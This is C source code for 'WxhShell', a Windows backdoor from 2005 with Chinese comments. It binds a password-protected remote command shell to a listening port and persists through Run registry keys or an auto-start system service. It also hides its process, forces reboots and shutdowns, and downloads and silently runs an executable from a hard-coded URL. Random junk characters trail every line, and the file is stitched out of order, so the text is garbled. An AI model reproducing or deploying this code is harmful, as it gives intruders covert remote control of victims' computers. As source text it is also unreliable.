    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c*`>9mv  
    if(Boot(SHUTDOWN)) goJ|oi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0 a~HiIh  
    else { 6{ ,HiY  
    closesocket(wsh); kQaSbpNmH  
    ExitThread(0); Mc-)OtmG[  
    } 15$4&=O  
    break; P/JK$nb  
    } l88A=iLgv  
  // 获取shell kD) $2I?  
  case 's': { }pa9%BQI  
    CmdShell(wsh); 4d_s%n?C  
    closesocket(wsh); M7>(hVEAW'  
    ExitThread(0); P]i =r] i  
    break; V:/7f*n7  
  } _SACqamo5s  
  // 退出 JlKM+UE :  
  case 'x': { +,v-=~5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <!pQ  
    CloseIt(wsh); cst}Ibf i  
    break; 9s}Kl($  
    } ](eN@Xi&@  
  // 离开 ^`SA'F ,  
  case 'q': { !GW ,\y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \([WH!7  
    closesocket(wsh); PY3ps2^K.  
    WSACleanup(); >/<:Q  &  
    exit(1); v(l eide  
    break; 6DL[ aD  
        } #k<":O  
  } _MWM;f`b  
  } j#0j)k2Q  
O:#+%  
  // 提示信息 M=xQ=j?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vG^#Sfgtw  
} hF3&i=;.  
  } AM} brO  
(-NHx o  
  return; )' xETA  
} ?3Ij*}_O2  
5 cK@WE:  
// shell模块句柄 Px5t,5xT8  
int CmdShell(SOCKET sock) 'SLE;_TD  
{ Gg\G'QU  
STARTUPINFO si; XT,#g-oi  
ZeroMemory(&si,sizeof(si)); DWt*jX*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M}DH5H"s  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @c'|Iqy`  
PROCESS_INFORMATION ProcessInfo; .bf<<+'o  
char cmdline[]="cmd"; <DH*~tLp2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); i`)!X:j  
  return 0; BpO9As 1um  
} ZyR_6n>L$  
z"DkFvA  
// 自身启动模式 yB LUNIr  
int StartFromService(void) }<MR`h1  
{ +:6Ii9G N  
typedef struct Lt#'W  
{ 5j"1z1_&  
  DWORD ExitStatus; S bsouGD,{  
  DWORD PebBaseAddress; . BO<  
  DWORD AffinityMask; RA a[t :|  
  DWORD BasePriority; 7:h!Wj -a]  
  ULONG UniqueProcessId; ,J mbqOV?!  
  ULONG InheritedFromUniqueProcessId; J NC  
}   PROCESS_BASIC_INFORMATION; n,P5o_^:  
iy\KzoB  
PROCNTQSIP NtQueryInformationProcess;  17hTr  
d~ng6pA  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; nY `2uN~9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #>@z 2K7  
5;)*T6Y  
  HANDLE             hProcess; %'L;FPxB  
  PROCESS_BASIC_INFORMATION pbi; BzpP7ZWV  
:^C'<SY2Gs  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); SC#sax4N!=  
  if(NULL == hInst ) return 0; oJ*1>7[J  
0MIUI<;j  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |'HLz=5\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); AB.(CS=i  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .g\6g~n  
TTI81:fku  
  if (!NtQueryInformationProcess) return 0; =OTm2:j#yQ  
i}TwOy<4s  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }0=<6\+:`  
  if(!hProcess) return 0; z&nZ<ih  
Q"J-tP!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :ipoD%@  
p4X{"Z\mn  
  CloseHandle(hProcess); =G-N` 39  
1M%S gV-#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }4%/pOi:f  
if(hProcess==NULL) return 0; T bE:||r?^  
lx,`hl%  
HMODULE hMod; F=@i6ERi  
char procName[255]; `?s.\Dh  
unsigned long cbNeeded; }GHxG9!z  
;5|1M8]=0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Sm3u/w!  
#j@OLvXh  
  CloseHandle(hProcess); Yq'4e[i  
~krS#\  
if(strstr(procName,"services")) return 1; // 以服务启动 ?~ULIO'  
9$d.P6|d>  
  return 0; // 注册表启动 }4c/YP"a'E  
} 2BB<mv K4  
Ef7:y|?  
// 主模块 `U`#I,Ln[  
int StartWxhshell(LPSTR lpCmdLine) c5i%(!>  
{ ,axDMMDI  
  SOCKET wsl; _Sj}~ H  
BOOL val=TRUE; ;q#]-^  
  int port=0; fu\s`W6f&  
  struct sockaddr_in door; iL?iz?+.%@  
(fk5'  
  if(wscfg.ws_autoins) Install(); "-i#BjZl/  
yFIIX=NC  
port=atoi(lpCmdLine); W=-|`  
y62%26 [  
if(port<=0) port=wscfg.ws_port; KS>$`ax,  
18!VO4u\I  
  WSADATA data; )Id2GV~2B  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2wh#$zGy  
X:q_c=X  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   o<VP'F{p  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); E'dX)J9e$/  
  door.sin_family = AF_INET; 6* rcR]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )&1!xF   
  door.sin_port = htons(port); - @bp4Z=  
VQ |^   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { p!"(s/=  
closesocket(wsl); 9R]](g#  
return 1; $iMC/Kym  
} ku.A|+Tn  
lH1g[ ))  
  if(listen(wsl,2) == INVALID_SOCKET) { ( )|3  
closesocket(wsl); !L\'Mk/=A  
return 1; r+g jc?Ol  
} VWvoQf^+  
  Wxhshell(wsl); &IQ%\W#aY  
  WSACleanup(); fGu!M9qN4  
f$D@*33ft  
return 0; e@ oWwhpE  
q.oLmX  
} @FX{M..  
%!W%#U0  
// 以NT服务方式启动 X8 qIia  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) T_ ^C#>  
{ R^{xwI  
DWORD   status = 0; cC6z,0`3  
  DWORD   specificError = 0xfffffff; eqFvrESN~=  
ePA;:8)_j  
  serviceStatus.dwServiceType     = SERVICE_WIN32; G(OFr2M  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; z\Ui8jo:;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ml`vx  
  serviceStatus.dwWin32ExitCode     = 0; %8D?$v"#Z  
  serviceStatus.dwServiceSpecificExitCode = 0; \|q-+4]@,  
  serviceStatus.dwCheckPoint       = 0; ~mA7pOHj  
  serviceStatus.dwWaitHint       = 0; L+R >%d s  
vfbe$4mH  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); TA)LPBG  
  if (hServiceStatusHandle==0) return; f-+.;`H)T  
)Qr6/c 8}  
status = GetLastError(); euZ(}+N&  
  if (status!=NO_ERROR) ~I$}#  
{ j.& ;c'V$.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >h7$v~nra  
    serviceStatus.dwCheckPoint       = 0; T&/_e   
    serviceStatus.dwWaitHint       = 0; nLd~2qBuv  
    serviceStatus.dwWin32ExitCode     = status; >l2w::l%  
    serviceStatus.dwServiceSpecificExitCode = specificError; >UN vkQ:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Mo|yv[(K ,  
    return; WZ"W]Jyy{  
  } #WEq-0L   
>EBC 2WJ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "^"'uO$  
  serviceStatus.dwCheckPoint       = 0; [Yvsa,2  
  serviceStatus.dwWaitHint       = 0;  coAW9=o}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); eBvW#Hzp  
} kH2oK:lN  
m<FK;   
// 处理NT服务事件,比如:启动、停止 [d:@1yc  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4WG=m}X  
{ #Q+R%p  
switch(fdwControl) 0x#E4v (UA  
{ 5mIXyg 0:  
case SERVICE_CONTROL_STOP: sY^lQN  
  serviceStatus.dwWin32ExitCode = 0; Bm<^rhJ9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; j 0?>w{e  
  serviceStatus.dwCheckPoint   = 0; ?Ccw4]YO,=  
  serviceStatus.dwWaitHint     = 0; bX&e_Pd  
  { T/Q==Q{W:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "G kI5!  
  } NDW8~lkL  
  return; Lupy:4AD  
case SERVICE_CONTROL_PAUSE: :B^mV{~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `vX4! @Tw  
  break; z"qv  
case SERVICE_CONTROL_CONTINUE: w`-$-4i  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6`W|V+6|7  
  break; TU-c9"7M~  
case SERVICE_CONTROL_INTERROGATE: MA"#rOcP  
  break; eaxfn]gV  
}; fp-m.d:|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I4ctxMVP  
} Wxk; g  
*#GDi'0  
// 标准应用程序主函数 ?&\h;11T  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U%,;N\:_  
{ G{O\)gf  
MC6)=0:KX  
// 获取操作系统版本 DUo0w f#D^  
OsIsNt=GetOsVer(); N*':U^/t4J  
GetModuleFileName(NULL,ExeFile,MAX_PATH); wO!% q[  
>F|qb*Tm7  
  // 从命令行安装 d/4ubf+$k  
  if(strpbrk(lpCmdLine,"iI")) Install(); )^(P@D.L  
6d};|#}  
  // 下载执行文件 k%!VP=c4s  
if(wscfg.ws_downexe) { v*XkWH5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) uZ<%kV1B  
  WinExec(wscfg.ws_filenam,SW_HIDE); , | <jjq)  
} -[<vYxX:h:  
K+-zY[3  
if(!OsIsNt) { N+hedF@ZU  
// 如果时win9x,隐藏进程并且设置为注册表启动 *LEu=3lp%>  
HideProc(); bkkSIl+Q  
StartWxhshell(lpCmdLine); *bU% @O  
} ik1XGFy?  
else ?4MSgu  
  if(StartFromService()) HoV{Uzm  
  // 以服务方式启动 ysl8LK   
  StartServiceCtrlDispatcher(DispatchTable); i.F8  
else ]qMH=>pOsj  
  // 普通方式启动 )*Vj3Jx  
  StartWxhshell(lpCmdLine); Tfr`?:yF  
\d ui`F"Cc  
return 0; unJ iE!  
} |[DV\23{G  
)kF2HF  
v10mDr  
(< :mM  
=========================================== |;~nI'0O])  
p!QR3k.9s  
 I}rGx  
h&q=I.3O|?  
7^&lbzVbm(  
R~!\ -6%_  
" / Z1Wy-Z  
7x%S](m%  
#include <stdio.h> ,}n=Z  
#include <string.h> {clC n  
#include <windows.h> Q|Nzbmwh  
#include <winsock2.h> 4p?+LdL  
#include <winsvc.h> ,T/GW,?  
#include <urlmon.h> &+,:u*%  
P:>'   
#pragma comment (lib, "Ws2_32.lib") (y 3~[  
#pragma comment (lib, "urlmon.lib") $vW^n4!  
j6RJC  
#define MAX_USER   100 // 最大客户端连接数 Z 4\tY^NI  
#define BUF_SOCK   200 // sock buffer +{ S Maq  
#define KEY_BUFF   255 // 输入 buffer L!?v BL  
2 ae w6~  
#define REBOOT     0   // 重启 `!<x"xKu  
#define SHUTDOWN   1   // 关机 2.!1kije  
F9v)R #u~  
#define DEF_PORT   5000 // 监听端口 "OVi /:*B  
0 -!?W  
#define REG_LEN     16   // 注册表键长度 `S5>0r5[  
#define SVC_LEN     80   // NT服务名长度 g%+ql[(4  
,eyp$^2  
// 从dll定义API V/@[%w=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); fYb KmB  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <=$rU232}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); SgyqmYTvZw  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 23)F-.C}j  
E1^aAlVSD  
// wxhshell配置信息 (_s;aK  
struct WSCFG { B,r5kQI4  
  int ws_port;         // 监听端口 V[4(~,9  
  char ws_passstr[REG_LEN]; // 口令 KSF5)CZ5  
  int ws_autoins;       // 安装标记, 1=yes 0=no G% o7BX  
  char ws_regname[REG_LEN]; // 注册表键名 BvSdp6z9Iv  
  char ws_svcname[REG_LEN]; // 服务名 \)uy"+ Z`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7E;>E9 '  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Dp%5$wF)8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 W]} #\\$z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no u):X>??  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9)#gtDM%J  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ewa[Y=+tx  
"9)1K!tH  
}; Gs^(YGtU  
6{cybD`Ef&  
// default Wxhshell configuration Bjurmo  
struct WSCFG wscfg={DEF_PORT, X@i+&Nv"<  
    "xuhuanlingzhe", rat=)n)"t  
    1, 'Na|#tPYI  
    "Wxhshell", (qNco8QKu3  
    "Wxhshell", U p_>y>x  
            "WxhShell Service", Ngn\nkf  
    "Wrsky Windows CmdShell Service", 7^n,Ti g  
    "Please Input Your Password: ", &*X3c h  
  1, (PRaiE  
  "http://www.wrsky.com/wxhshell.exe", s4!|v`+$M  
  "Wxhshell.exe" nrxjN(9V%+  
    }; #&;m<%  
E6,`Ld;c[  
// 消息定义模块 OJnPP>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -OHvK0~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; pI'8>_o  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;5&k/CB1  
char *msg_ws_ext="\n\rExit."; '=KuJ0`nE9  
char *msg_ws_end="\n\rQuit."; Wpiv1GZ%c8  
char *msg_ws_boot="\n\rReboot..."; HR/k{"8W4Q  
char *msg_ws_poff="\n\rShutdown..."; L#@l(8.  
char *msg_ws_down="\n\rSave to "; , LCH2r  
PpX{+^z-%  
char *msg_ws_err="\n\rErr!"; L-^# 02  
char *msg_ws_ok="\n\rOK!";  Bq~AU#  
\W3+VG2cA  
char ExeFile[MAX_PATH]; s#'|{  
int nUser = 0; "r5'lQI  
HANDLE handles[MAX_USER]; [{hLF9yPx  
int OsIsNt; NTXws4'D  
{Bav$kw;?e  
SERVICE_STATUS       serviceStatus; m~Lf^gbG?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; VZU Zngw  
D<+ bzC  
// 函数声明 E#yCcC!wMY  
int Install(void); [X0k{FR  
int Uninstall(void); uYG #c(lc  
int DownloadFile(char *sURL, SOCKET wsh); )_Z]=5Ds  
int Boot(int flag); BsoFQw4$9  
void HideProc(void); Y2RxD\!Z  
int GetOsVer(void); 'DaNR`9  
int Wxhshell(SOCKET wsl); WyKUvVi  
void TalkWithClient(void *cs);  9'L1KQ  
int CmdShell(SOCKET sock); ^N*pIVLC  
int StartFromService(void); |HKHN? )  
int StartWxhshell(LPSTR lpCmdLine); 8cYuzt]..  
@c.11nfn`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $bF`PGR_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); YHwVj?6W  
BDv|~NHs  
// 数据结构和表定义 eZa3K3^  
SERVICE_TABLE_ENTRY DispatchTable[] = &4ug3  
{ ;j[q?^ b  
{wscfg.ws_svcname, NTServiceMain}, IqR[&T)lj  
{NULL, NULL} O3sla bE#  
}; Yke<Wy1  
{[(W4NAlH  
// 自我安装 \t&n jMWpZ  
int Install(void) 0lvb{Zd  
{ R47I\{  
  char svExeFile[MAX_PATH]; LH?gJ8`  
  HKEY key; oT9XJwqnv  
  strcpy(svExeFile,ExeFile); +iZ@.LI  
`Z;B^Y0  
// 如果是win9x系统,修改注册表设为自启动 pn ~/!y  
if(!OsIsNt) { HQ-N!pf9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B=o#LL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MSxU>FX0  
  RegCloseKey(key); xc3Ov9`8%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %j 9vX$Hj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W#oEF/G  
  RegCloseKey(key); ;DT"S{"7  
  return 0; >o=axZNa  
    } (_s!,QUe  
  } D 9@<#2-  
} ~@a) E+LsF  
else { W2X+N acD  
}[hDg6i  
// 如果是NT以上系统,安装为系统服务 DbPBgD>Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); r&j+;JM5  
if (schSCManager!=0) iG;d0>Sp  
{ 9I^H)~S  
  SC_HANDLE schService = CreateService S%a}ip&  
  ( 9v5.4a}  
  schSCManager, x r+E  
  wscfg.ws_svcname, A7I8Z6&  
  wscfg.ws_svcdisp, 7@e[:>e  
  SERVICE_ALL_ACCESS, U3VsMV*Y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , N?`GZ+5  
  SERVICE_AUTO_START, //4p1^%  
  SERVICE_ERROR_NORMAL, `"bRjC"f]  
  svExeFile, B4M'Er{v  
  NULL, DI"dY ug#  
  NULL, HeAc(_=C  
  NULL, `siy!R  
  NULL, "~ i#9L/H  
  NULL :#"OCXr  
  ); U 8 .0L  
  if (schService!=0) e-T9HM&%P  
  { fu7[8R"{  
  CloseServiceHandle(schService); ;#Crh}~  
  CloseServiceHandle(schSCManager); $7k04e@ ]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); QVA!z##  
  strcat(svExeFile,wscfg.ws_svcname); HjE Tinm"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { J[_?>YJ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /fcwz5~  
  RegCloseKey(key); #!F8n`C-  
  return 0; s3fGX|;  
    } @% 5F^Vbd  
  } @)M.u3{\  
  CloseServiceHandle(schSCManager); %Tm' aY"  
} X~/ 9Vd g  
} YRT}fd>R&  
sjVl/t`l  
return 1; 07HX5 Hd  
} =,} !Ns{k  
2[bR6 T89  
// 自我卸载 hF{mm(qyv  
int Uninstall(void) L 52z  
{ ,"HpV  
  HKEY key; n B|C-.F  
ROI$;B(  
if(!OsIsNt) { 4tN~UMw?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "MVN /Gl  
  RegDeleteValue(key,wscfg.ws_regname); DQHGq_unP  
  RegCloseKey(key); T=)L5Vuq<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %@,:RA\pm  
  RegDeleteValue(key,wscfg.ws_regname); 5tbiNm^X  
  RegCloseKey(key); y5opdIaT  
  return 0; )F9V=PJE  
  } BM}a?nnoc  
} t3h \.(mq  
} !un"XI0`t<  
else { $F==n4)  
s13 d*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rH9|JEz  
if (schSCManager!=0) {Ac3/UM/  
{ q?b)zeJ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;:K?7wfXn  
  if (schService!=0) }Q,C;!'"  
  { A UO0  
  if(DeleteService(schService)!=0) { d`rDEa  
  CloseServiceHandle(schService); Vt 5XC~jK  
  CloseServiceHandle(schSCManager); m:o$|7r  
  return 0; aG&kl O>m  
  } cVt$#A)  
  CloseServiceHandle(schService); -Z#]_C{Y-)  
  } Wug?CFX+T  
  CloseServiceHandle(schSCManager); EC&19  
} 8CHf.SXh  
} m_Y}>  
|@uhq>&  
return 1; Hwi7oXP  
} Wn)A/Z ^r  
.m % x-i  
// 从指定url下载文件 N/SB}F j  
int DownloadFile(char *sURL, SOCKET wsh) )}Mt'd  
{ 4iB)oR  
  HRESULT hr; 3_['[}  
char seps[]= "/"; a>e 1jM[  
char *token; L&F\"q9q71  
char *file; ;@$," P  
char myURL[MAX_PATH]; nHL>}Yg  
char myFILE[MAX_PATH]; pl? J<48  
>!WBl Sy  
strcpy(myURL,sURL); !EC\1rmdlN  
  token=strtok(myURL,seps); O#ajoE  
  while(token!=NULL) 0DjBqh$  
  { *xX0]{49q  
    file=token; ;{#M  
  token=strtok(NULL,seps); /t2 <OU9  
  } 4rCqN.J  
J*kzJ{vwy*  
GetCurrentDirectory(MAX_PATH,myFILE); SOY#, Zu  
strcat(myFILE, "\\"); oZ>]8vw  
strcat(myFILE, file); Kh_>Vm/  
  send(wsh,myFILE,strlen(myFILE),0); +=F);;!  
send(wsh,"...",3,0); +/ d8d  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E~U|v'GCd  
  if(hr==S_OK) ZtZV:re=  
return 0; "g&l~N1$  
else S| ?--vai_  
return 1; uaMm iR  
i_9/!D  
} Kwmo)|7uPU  
;bu;t#  
// 系统电源模块 +(hwe jyC  
int Boot(int flag) sjbC~Te--  
{ eT \Q  
  HANDLE hToken; #pxet  
  TOKEN_PRIVILEGES tkp; #hiDZ>nr  
%y~]3XWik  
  if(OsIsNt) { .ceU @^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ptxc9~k  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); P<oD*C  
    tkp.PrivilegeCount = 1; yru}f;1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; n!,TBCNX  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ' =s*DL`0  
if(flag==REBOOT) { [UrS%]OSR  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &_TjRj"  
  return 0; Q#AHEm{9;s  
} M(gWd8?#  
else { )Syf5I  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) iK23`@&% _  
  return 0; Lr]Hvd   
} Jywz27j  
  } \^Q)`Lqp:g  
  else { &^<T/PiR  
if(flag==REBOOT) { E<[ bgL  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Hm[!R:HW,S  
  return 0; 3^Q U4  
} @Pg@ltUd  
else { #8HXR3L5=!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) gG?*Fi  
  return 0; ?v*7!2;  
} 4C*=8oe_  
} nqW:P$  
Q/SC7R&"t  
return 1; 6R,b 8  
} xVo)!83+Q  
[Cr~gd+ q  
// win9x进程隐藏模块 8-#2?=  
void HideProc(void) *y$ry]  
{ c7N9X 3A  
\?I wR]@y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \X p"I5  
  if ( hKernel != NULL ) 8xz7S  
  { J#5o  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 69w"$V k  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Oc=PJf%D#  
    FreeLibrary(hKernel); zIm!8a  
  } LR.+C xQ  
u 9Tl Xn  
return; #.xTAvD  
} ~#Mx&mZ  
U~c;W@T  
// 获取操作系统版本 xL"o)]a=  
int GetOsVer(void) Q2PwO;E.`C  
{ S}I=i>QB  
  OSVERSIONINFO winfo; hS/'b$#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !~kzxY  
  GetVersionEx(&winfo); g0$k_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) f@g  
  return 1; n#,l&Bx  
  else CplRnKra  
  return 0; i`s pM<iR.  
} SZ){1Hu  
pZn%g]nRD  
// 客户端句柄模块 _ h-X-s Y  
int Wxhshell(SOCKET wsl) HK.J/Zr  
{ cW%O-  
  SOCKET wsh; jg/<"/E  
  struct sockaddr_in client; .k(_ j.v  
  DWORD myID; md s\~l73  
`v er "s;  
  while(nUser<MAX_USER) 9D21e(7X  
{ EF~PM  
  int nSize=sizeof(client); pdu  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ' qVa/GJ  
  if(wsh==INVALID_SOCKET) return 1; Xqw7lj;K  
1r4/McB  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); tYa*%|!v  
if(handles[nUser]==0) I-hhHm<@  
  closesocket(wsh); H|O}Dsj  
else 3S?+G)qKo  
  nUser++; hdb4E|'A  
  } ?^Ux+mVE  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); jXR+>=_  
<rF  
  return 0; 7mBL#T2   
} >4b39/BM  
z5/O8}Gz@  
// 关闭 socket </p.OaNe  
void CloseIt(SOCKET wsh) %W+ F e,]  
{ CB1u_E_  
closesocket(wsh); &o.SmkJI  
nUser--; z w9r0bG  
ExitThread(0); 9\2&6H  
} JH#?}L/0Fe  
!}7m^  
// 客户端请求句柄 a QFHB!  
void TalkWithClient(void *cs)  p-kqX  
{ -GjJrYOU  
S\(_"xJPp  
  SOCKET wsh=(SOCKET)cs; N|}`p"  
  char pwd[SVC_LEN]; r1] e:  
  char cmd[KEY_BUFF]; !HYqM(|{.  
char chr[1]; xcA:Q`c.{  
int i,j; D$;/ l}s?  
O/nS,Ux  
  while (nUser < MAX_USER) { nt6"}vO  
!NjE5USi  
if(wscfg.ws_passstr) { Y}U w7\e  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x ,W+:l9~s  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sn%fE  
  //ZeroMemory(pwd,KEY_BUFF); o5uwa{v  
      i=0; KMcP!N.I  
  while(i<SVC_LEN) { |zKcL3*  
5$X{{j2  
  // 设置超时 tHeLq*))  
  fd_set FdRead; >wwEa4   
  struct timeval TimeOut; 5JXLfYTUI  
  FD_ZERO(&FdRead); f -5ZXpWs'  
  FD_SET(wsh,&FdRead); 9m{rQ P/  
  TimeOut.tv_sec=8; *Q?HaG|S  
  TimeOut.tv_usec=0; D.?gV_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); '-=?lyKv  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); I4'j_X t  
%+~0+ev7r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 75f.^4/%  
  pwd=chr[0]; "?SnA +)  
  if(chr[0]==0xd || chr[0]==0xa) { v},sWjv  
  pwd=0; ZtDpCl_  
  break; ?|\Lm3%J  
  } h>?OWI  
  i++; kTV D 4Z=  
    } zAewE@N#_  
oLoa71Q}  
  // 如果是非法用户,关闭 socket 8z"Yo7no  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [@;Z xs  
} c/RG1w  
LJD"N#c   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g=Lt 2UIJ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]Ea-?IhD  
\z 'noc  
while(1) { yr?\YKV)I  
566EMy|  
  ZeroMemory(cmd,KEY_BUFF); -/X-.#}-  
2ip~qZNw><  
      // 自动支持客户端 telnet标准   9}N*(PI  
  j=0; S%2qB;uw  
  while(j<KEY_BUFF) { UpILr\3U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Eh+lL tZ  
  cmd[j]=chr[0]; vq}V0- <  
  if(chr[0]==0xa || chr[0]==0xd) { _PF><ODX2  
  cmd[j]=0; V]2Q92  
  break; -84Z8?_  
  } aO1cd_d6x_  
  j++; gE1".qC  
    } y06 2/$*$  
/+u*9ZR&1  
  // 下载文件 )8;'fE[p}  
  if(strstr(cmd,"http://")) { bHCd|4e,2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Vq\6c  
  if(DownloadFile(cmd,wsh)) tyh%s"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); IF=rD-x  
  else N@g+51ye  
